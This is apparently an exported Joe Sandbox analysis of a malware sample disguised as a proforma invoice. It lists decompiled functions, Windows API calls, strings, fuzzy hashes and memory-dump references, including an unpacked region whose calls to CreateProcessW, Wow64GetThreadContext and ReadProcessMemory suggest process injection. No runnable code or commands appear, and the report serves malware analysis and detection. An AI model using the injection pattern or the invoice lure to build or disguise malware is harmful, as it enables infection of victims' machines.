LoadIconW.USER32(000000A4), ref: 00422BC5
LoadIconW.USER32(000000A2), ref: 00422BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00422BEF
RegisterClassExW.USER32(?), ref: 00422C40

Part of subcall function 00422CD4: GetSysColorBrush.USER32(0000000F), ref: 00422D07
Part of subcall function 00422CD4: RegisterClassExW.USER32(00000030), ref: 00422D31
Part of subcall function 00422CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00422D42
Part of subcall function 00422CD4: InitCommonControlsEx.COMCTL32(?), ref: 00422D5F
Part of subcall function 00422CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00422D6F
Part of subcall function 00422CD4: LoadIconW.USER32(000000A9), ref: 00422D85
Part of subcall function 00422CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00422D94

Strings

#, xrefs: 00422C16
AutoIt v3, xrefs: 00422C2F
0, xrefs: 00422C0F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 68ecc2bea1061f35c844a936841f1d03641097bd74eff8e5910f759af85fbdf7
Instruction ID: 6c324d1a6f39673728b25eb3aec47784f27b695f3dddd519dae9d5073f064b73
Opcode Fuzzy Hash: 68ecc2bea1061f35c844a936841f1d03641097bd74eff8e5910f759af85fbdf7
Instruction Fuzzy Hash: 84212C70E00315EBEB109FA6ECD5AA97FB4FB48B50F00413AF901A66B0D7B50564CF98

Function 00423170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,0042316A,?,?), ref: 004231D8
KillTimer.USER32(?,00000001,?,?,?,?,?,0042316A,?,?), ref: 00423204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00423227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,0042316A,?,?), ref: 00423232
CreatePopupMenu.USER32 ref: 00423246
PostQuitMessage.USER32(00000000), ref: 00423267

Strings

TaskbarCreated, xrefs: 0042322D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 5398ee0d87201425e351992058c76331c337e8bdb788af97c362c5fc5d76b3c0
Instruction ID: b5bf3577d50e712d7c1b09b3173e0d7c14adfe9df3b4e7fe4f0086a865f911fc
Opcode Fuzzy Hash: 5398ee0d87201425e351992058c76331c337e8bdb788af97c362c5fc5d76b3c0
Instruction Fuzzy Hash: 10411631300224E7DB141F78AD89B7A3639E705346F84413BF941962B2DBAD9E11D7BE

Function 0042DFD0 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON

Download Yara Rule

Strings

D%O, xrefs: 00472FDA
D%O, xrefs: 0042E1E0
Variable must be of type 'Object'., xrefs: 004732B7
D%OD%O, xrefs: 0042E27E
D%O, xrefs: 0042E4B1
D%O, xrefs: 0047302D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: D%O$D%O$D%O$D%O$D%OD%O$Variable must be of type 'Object'.
API String ID: 0-102352566
Opcode ID: 178da99fdb091b7800827043b569d4b3675aad5f25965fe98c460778f31947c9
Instruction ID: ff89f59683d95939a7e26976460625ce5338eeb0f5ed95ea5e79a6c835c5c872
Opcode Fuzzy Hash: 178da99fdb091b7800827043b569d4b3675aad5f25965fe98c460778f31947c9
Instruction Fuzzy Hash: 4AC2A071E00224DFCB24CF5AD880AAEB7B1FF09314F64816AE945AB351D379ED42CB59

Function 017625C0 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01762691
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 017628B7

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
Instruction ID: a5c8bdb4b67f848c2224263c7b3542a45d8bf4e3557d55c588ba37ff453dbc18
Opcode Fuzzy Hash: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
Instruction Fuzzy Hash: CAA10974E00209EBDB54CFA4C894BEEFBB9BF48305F208559EA05BB281D7799A41CB54

Function 00422C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00422C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00422CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00421CAD,?), ref: 00422CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00421CAD,?), ref: 00422CCF

Strings

edit, xrefs: 00422CAC
AutoIt v3, xrefs: 00422C89, 00422C8E, 00422C8F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: fb8821accbad38180795caaa23ad60e6a77885c3aa559b4646b608266a83ec6d
Instruction ID: 763197fd68ca63fcf98364d5b4d45d239e8bae0ace312dae0b55dc10112b11a8
Opcode Fuzzy Hash: fb8821accbad38180795caaa23ad60e6a77885c3aa559b4646b608266a83ec6d
Instruction Fuzzy Hash: 64F0DA76540290BAFB311717AC88EB72EBDD7C7F60B10406AFD00A65B0C6651861DAB8

Function 017623B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 017622A0: Sleep.KERNELBASE(000001F4), ref: 017622B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 017624B3

Strings

V2AJJPDA4DCYF, xrefs: 01762516, 01762519

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateFileSleep
String ID: V2AJJPDA4DCYF
API String ID: 2694422964-1816151298
Opcode ID: 1ac3f5ceb2c050457cbbc42677e3bcb413e549da8224a9ce240f1a63c980572b
Instruction ID: c8aba74396d79653e683e19b2c17fe94d18fed31ebdc8f14f031d016cbbdbfcf
Opcode Fuzzy Hash: 1ac3f5ceb2c050457cbbc42677e3bcb413e549da8224a9ce240f1a63c980572b
Instruction Fuzzy Hash: CB517171E04249DBEF15DBA4C818BEEBB79AF44300F104199EA09BB2C1D7791B45CB65

Function 00492947 Relevance: 7.8, APIs: 5, Instructions: 313
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00492C05
DeleteFileW.KERNEL32(?), ref: 00492C87
CopyFileW.KERNELBASE(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00492C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00492CAE
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00492CC0

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: d1a5c686d0c740ec1b01e378355dcd18dad27cedca9d8dac596900882145ec93
Instruction ID: 1757193daf9ac108e540f95cf7253142c16c555518d79d1d4b7752b63701c4a1
Opcode Fuzzy Hash: d1a5c686d0c740ec1b01e378355dcd18dad27cedca9d8dac596900882145ec93
Instruction Fuzzy Hash: 35B16E71E00129ABDF20DFA5CD85EDE7BBDEF48314F0040ABF509A6141EA789E448F65

Function 00455AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JOB, xrefs: 00455BA8, 00455C6C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: JOB
API String ID: 0-1837081202
Opcode ID: ca289e7ff035b277a1aa53f0b16678c1739b1c895af169d836140af904229c59
Instruction ID: 41116ecbba32544a5049acc88b67cbaf315db936dd99e0f7c034559768e13806
Opcode Fuzzy Hash: ca289e7ff035b277a1aa53f0b16678c1739b1c895af169d836140af904229c59
Instruction Fuzzy Hash: 17510371D006099FDB119FA9C859FBF7BB4AF05316F10005BFC00AB293D6799A09CB6A

Function 00423B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00423B0F,SwapMouseButtons,00000004,?), ref: 00423B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00423B0F,SwapMouseButtons,00000004,?), ref: 00423B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00423B0F,SwapMouseButtons,00000004,?), ref: 00423B83

Strings

Control Panel\Mouse, xrefs: 00423B3E

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 5b5d38998aad72c90ca6c78732cef5600b4decb922609dc9dcde06ef79677261
Instruction ID: 6b3ab801be73cd765c695abc2907f59fb6325a42a5dc6a12abfbc2c184dc41cf
Opcode Fuzzy Hash: 5b5d38998aad72c90ca6c78732cef5600b4decb922609dc9dcde06ef79677261
Instruction Fuzzy Hash: 82113CB5611218FFDB20CFA5EC84EAFBBB8EF04745B50456AF805D7211D239AF409B68

Function 017612A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01761A5B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01761AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01761B13

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: dbcdd5886b880b5c161ff2c694cfceffc24b8721b5d78ef826e157d7e74dbfef
Instruction ID: 5bd1b10b96dc51eed46cce9d3b61e3e0377e0c7083d02685471caf74ec1ad8c1
Opcode Fuzzy Hash: dbcdd5886b880b5c161ff2c694cfceffc24b8721b5d78ef826e157d7e74dbfef
Instruction Fuzzy Hash: 40622B30A14218DBEB24CFA4CC54BDEB376EF98300F5091A9D50DEB294E7759E81CB59

Function 00423923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 004633A2

Part of subcall function 00426B57: _wcslen.LIBCMT ref: 00426B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00423A04

Strings

Line: , xrefs: 004633EB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: cb95f81cdd0678441ec507c0e8b19a06dc68143b7d67cfe8702d9d9cb7d57279
Instruction ID: ebb99fba5756e28e251eae01de81f043587e8dafefcbb3b7bb7e9557796a0929
Opcode Fuzzy Hash: cb95f81cdd0678441ec507c0e8b19a06dc68143b7d67cfe8702d9d9cb7d57279
Instruction Fuzzy Hash: 0C31F671608314AAD320EF11EC45BEB73E8AF41719F40052FF98982191DB7C9A54C7CE

Function 00422DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00462C8C

Part of subcall function 00423AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00423A97,?,?,00422E7F,?,?,?,00000000), ref: 00423AC2

Part of subcall function 00422DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00422DC4

Strings

`eN, xrefs: 00462C85
X, xrefs: 00462C5A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`eN
API String ID: 779396738-539521835
Opcode ID: 01d25f1c9b99239d628d7133ac3c7e6a12f0e1daa9728de27153bea7315b757e
Instruction ID: 7a2b69dac4098ad08067b854974c85a69ef48eef653f11c1f7c658cf617a1ea0
Opcode Fuzzy Hash: 01d25f1c9b99239d628d7133ac3c7e6a12f0e1daa9728de27153bea7315b757e
Instruction Fuzzy Hash: 2321C970A00268ABDB01DF95D8457EE7BF89F58315F40805BE405A7241DBFC55498B69

Function 0043FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00440668

Part of subcall function 004432A4: RaiseException.KERNEL32(?,?,?,0044068A,?,004F1444,?,?,?,?,?,?,0044068A,00421129,004E8738,00421129), ref: 00443304

__CxxThrowException@8.LIBVCRUNTIME ref: 00440685

Strings

Unknown exception, xrefs: 00440692

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: f0cfc558b378d3c743068804d2579fbf06859a07130c959c36fa257da320591c
Instruction ID: 60bb333461ae0e0cdd2ce15d551837d54e6ddc591adcc0d24c7fa6f5af2bba69
Opcode Fuzzy Hash: f0cfc558b378d3c743068804d2579fbf06859a07130c959c36fa257da320591c
Instruction Fuzzy Hash: C2F0283490020C739F00BA66DC4AD9E776C6E40304B70407BB91991591EF78DA29C58C

Function 00493017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0049302F
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00493044

Strings

aut, xrefs: 00493038

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 9fc48bc46cde1e1b2994d0837aa07b3e67cdb86dddbc477eb8e0594478554c97
Instruction ID: 0ca8e3582d9054a55922d8ac9dd6c3459477540c252384947d98ec679ee22efe
Opcode Fuzzy Hash: 9fc48bc46cde1e1b2994d0837aa07b3e67cdb86dddbc477eb8e0594478554c97
Instruction Fuzzy Hash: DBD05E7290032867DA20A7A9AC8EFCB3A6CDB05751F0002B2B755E2091DAB49984CBE4

Function 004A7F59 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 004A82F5
TerminateProcess.KERNEL32(00000000), ref: 004A82FC
FreeLibrary.KERNEL32(?,?,?,?), ref: 004A84DD

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: 8d9caf00e8b889288b24fc45cfe6a41c8b337ddff5601404f00f2f87c1cb800e
Instruction ID: 5d5a8651733444164141d501db7a2a365b3080649b9fedfea3c97e9b55d4ae96
Opcode Fuzzy Hash: 8d9caf00e8b889288b24fc45cfe6a41c8b337ddff5601404f00f2f87c1cb800e
Instruction Fuzzy Hash: B2126C71A083019FD714DF28C484B6ABBE1FF99318F04895EE8898B352DB35ED45CB96

Function 004210F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00421BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00421BF4
Part of subcall function 00421BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00421BFC
Part of subcall function 00421BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00421C07
Part of subcall function 00421BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00421C12
Part of subcall function 00421BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00421C1A
Part of subcall function 00421BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00421C22

Part of subcall function 00421B4A: RegisterWindowMessageW.USER32(00000004,?,004212C4), ref: 00421BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0042136A
OleInitialize.OLE32 ref: 00421388
CloseHandle.KERNEL32(00000000,00000000), ref: 004624AB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 916d77e15932496b16c90eded1a19aa45a5aa4b1978ba74765732fa7616c935f
Instruction ID: 8a84dad1dc15270cb9fcbb4dd439c21c439b30c590317de0cd5074949c31bdfe
Opcode Fuzzy Hash: 916d77e15932496b16c90eded1a19aa45a5aa4b1978ba74765732fa7616c935f
Instruction Fuzzy Hash: 2C71CCB4901244EFD384EF7AA9856753AE0FB98388754A23FD40AC7271EB394464CF5D

Function 004586AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,004585CC,?,004E8CC8,0000000C), ref: 00458704
GetLastError.KERNEL32(?,004585CC,?,004E8CC8,0000000C), ref: 0045870E
__dosmaperr.LIBCMT ref: 00458739

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 3ad145bf3de936701aa9082c8304f4da7e1706e53cacfcd223cce448d6e3f410
Instruction ID: 049833ffeafa0fcb9f178b4b3819ccae9da3cdffb0db6ed413171d291a5f6bb5
Opcode Fuzzy Hash: 3ad145bf3de936701aa9082c8304f4da7e1706e53cacfcd223cce448d6e3f410
Instruction Fuzzy Hash: 3D016B32A0522027D3606234A88577F27594F9177AF39022FFC08AB2D3DEAC8C89C19C

Function 00492FD8 Relevance: 4.5, APIs: 3, Instructions: 27filetimeCOMMON

Download Yara Rule

APIs

